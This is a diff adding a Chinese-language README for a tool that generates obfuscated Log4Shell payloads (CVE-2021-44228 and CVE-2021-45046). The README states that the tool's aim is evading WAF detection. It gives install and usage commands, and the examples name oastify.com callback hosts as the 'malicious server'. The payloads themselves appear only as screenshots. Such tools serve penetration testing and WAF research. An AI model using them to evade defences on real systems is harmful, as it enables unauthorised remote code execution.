|
| 1 | +# Log4Shell-obfuscated-payloads-generator |
| 2 | +Log4Shell-obfuscated-payloads-generator可以生成初级混淆的或二级混淆的CVE-2021-44228或CVE-2021-45046 payloads,以规避WAF检测。 |
| 3 | + |
| 4 | +## 安装 |
| 5 | +``` |
| 6 | +git clone https://github.com/r3kind1e/Log4Shell-obfuscated-payloads-generator.git |
| 7 | +``` |
| 8 | + |
| 9 | +Log4Shell-obfuscated-payloads-generator在任何平台上都可以在Python 3.x版本中开箱即用。 |
| 10 | + |
| 11 | +## Usage |
| 12 | +要获取基本选项列表,请使用: |
| 13 | + |
| 14 | +``` |
| 15 | +python3 Log4Shell-obfuscated-payloads-generator.py -h |
| 16 | +``` |
| 17 | + |
| 18 | +要获取使用示例,请使用: |
| 19 | + |
| 20 | +``` |
| 21 | +python3 Log4Shell-obfuscated-payloads-generator.py -hh |
| 22 | +``` |
| 23 | + |
| 24 | +## Screenshots |
| 25 | +`-h`: 获取基本选项列表 |
| 26 | + |
| 27 | + |
| 28 | +`-hh`: 获取使用示例 |
| 29 | + |
| 30 | + |
| 31 | +使用单个选项生成有效负载,`-s`选项指定恶意服务器: |
| 32 | +``` |
| 33 | +--generate-primary-obfuscated-cve-2021-44228-payload 8 -s ck0pf4l6fmq4w0v17o7t894txk3arz.oastify.com |
| 34 | +``` |
| 35 | + |
| 36 | + |
| 37 | + |
| 38 | +``` |
| 39 | +--generate-primary-obfuscated-cve-2021-45046-payload 4 -s x53a0p6r07bphlgms9setupei5owcl.oastify.com |
| 40 | +``` |
| 41 | + |
| 42 | + |
| 43 | +``` |
| 44 | +--generate-secondary-obfuscated-cve-2021-44228-payload 5 -s oia1rpap41mhxkp6rdbbywit1k7avz.oastify.com |
| 45 | +``` |
| 46 | + |
| 47 | + |
| 48 | + |
| 49 | +``` |
| 50 | +--generate-secondary-obfuscated-cve-2021-45046-payload 5 -s 3vzg44n4hgzwaz2l4soqbbv8ezkq8f.oastify.com |
| 51 | +``` |
| 52 | + |
| 53 | + |
| 54 | +使用多个选项来生成有效负载,`-s` 选项指定了恶意服务器: |
| 55 | +``` |
| 56 | +--generate-primary-obfuscated-cve-2021-44228-payload 4 --generate-secondary-obfuscated-cve-2021-44228-payload 4 -s exfr6fpfjr17ca4w63q1dmxjgam2ar.oastify.com |
| 57 | +``` |
| 58 | + |
| 59 | + |
| 60 | +如果不使用`-s`选项指定恶意服务器,`{{callback_host}}`占位符将保留在生成的有效负载中: |
| 61 | +``` |
| 62 | +--generate-primary-obfuscated-cve-2021-44228-payload 3 |
| 63 | +``` |
| 64 | + |
| 65 | +``` |
| 66 | +--generate-primary-obfuscated-cve-2021-45046-payload 3 --generate-secondary-obfuscated-cve-2021-45046-payload 7 |
| 67 | +``` |
| 68 | + |
| 69 | + |
| 70 | +**TODO: Log4Shell-obfuscated-payloads-generator的设计思路将在5月20日之后发布。** |
0 commit comments